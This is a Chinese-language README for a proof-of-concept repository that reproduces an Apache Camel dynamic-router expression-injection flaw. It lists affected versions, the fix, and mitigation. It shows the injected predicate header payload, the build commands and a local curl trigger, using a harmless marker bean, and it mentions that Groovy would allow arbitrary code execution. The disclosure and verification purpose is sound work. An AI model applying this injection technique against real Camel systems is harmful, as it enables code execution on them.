针对 Apache Camel 漏洞的可运行概念验证复现程序。在该漏洞中,dynamic-router-control 端点从传入消息中获取订阅谓词以及用于编译该谓词的语言名称(即 DynamicRouterControlMessage 的 predicate / expressionLanguage 字段,或 CamelDynamicRouterPredicate / CamelDynamicRouterExpressionLanguage 消息头)。随后,该服务从 CamelContext 中解析该语言,并将表达式编译为 Predicate,既没有允许列表,也没有选择加入机制。编译后的谓词会针对通过该通道路由的每个 exchange 进行求值——因此,任何能够将消息发送到某个传输通道、且该通道的路由会将其转发到控制端点的行为者,都可以提供自己选择的表达式,并以 Camel 进程的权限进行求值。类路径上的任何语言都可能被选中,包括 simple,它始终存在且是默认值。
仅限 Camel Spring Boot。 不存在
camel-quarkus-dynamic-router扩展,因此此复现程序无法在 Camel Quarkus 上运行。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-dynamic-router 4.22.0(受影响;修复版本 4.22.1) |
该应用设置了一个 Dynamic Router 通道 test(direct:start → dynamic-router://test)。攻击者发送一条订阅控制消息,其中携带攻击者选择的谓词表达式和语言:
CamelDynamicRouterPredicate = ${bean:detonator?method=detonate}
CamelDynamicRouterExpressionLanguage = simple
然后,一条消息通过该通道进行路由,该通道会评估订阅谓词。在受影响的构建上,该表达式会执行,调用 detonator.detonate()——这是攻击者能够触及的任意无参数注册表方法的一个无害替代品(而且任何语言,例如 Groovy,都能实现任意代码执行)。在已修复的构建上,控制端点会拒绝从消息中获取谓词/语言。
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
在受影响的构建上预期输出:
Subscription accepted.
>>> PROVEN: the attacker-supplied predicate expression was compiled and evaluated, invoking
>>> detonator.detonate() with the privileges of the Camel process ...
在修复后的构建版本中,订阅会被拒绝,并抛出 IllegalArgumentException: The subscription predicate expression, and the language used to compile it, cannot be taken from a control message. ... set 'allowPredicateFromMessage=true' ...。
| 属性 | 值 |
|---|---|
| 组件 | camel-dynamic-router(dynamic-router-control 端点) |
| CWE | CWE-94(代码注入)、CWE-917(表达式语言注入) |
| 严重性 | 高 |
| 攻击向量 | 一条控制消息(subscribe/update)提供谓词表达式及其语言,且其所在传输的路由会将该消息转发至 dynamic-router-control 端点 |
| 影响 | 以 Camel 进程的权限对攻击者选定的表达式(任意 classpath 语言)进行求值——即代码执行 |
| 受影响版本 | 4.4.0 起至 4.18.5 之前,4.19.0 起至 4.22.1 之前 |
| 修复版本 | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24576 |
| 致谢 | Leon Zlobecki |
公告:https://camel.apache.org/security/CVE-2026-83531.html
默认情况下,谓词表达式及其语言不再从控制消息中获取:除非路由作者在 dynamic-router-control 端点上显式启用 allowPredicateFromMessage=true,否则提供这些内容的控制消息会被拒绝。预期做法是在端点 URI 上配置 predicate 和 expressionLanguage(由路由作者控制),这与 4.4.0 之前的版本一致。
不要将外部来源的消息转发至 dynamic-router-control 端点;仅通过路由作者控制的端点管理订阅,并限制可访问控制通道的传输方式。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户理解该漏洞、确认自身是否受影响,并验证升级后该问题已解决。载荷是一个无害的标记 bean。请勿将本材料用于您不拥有或运营的系统。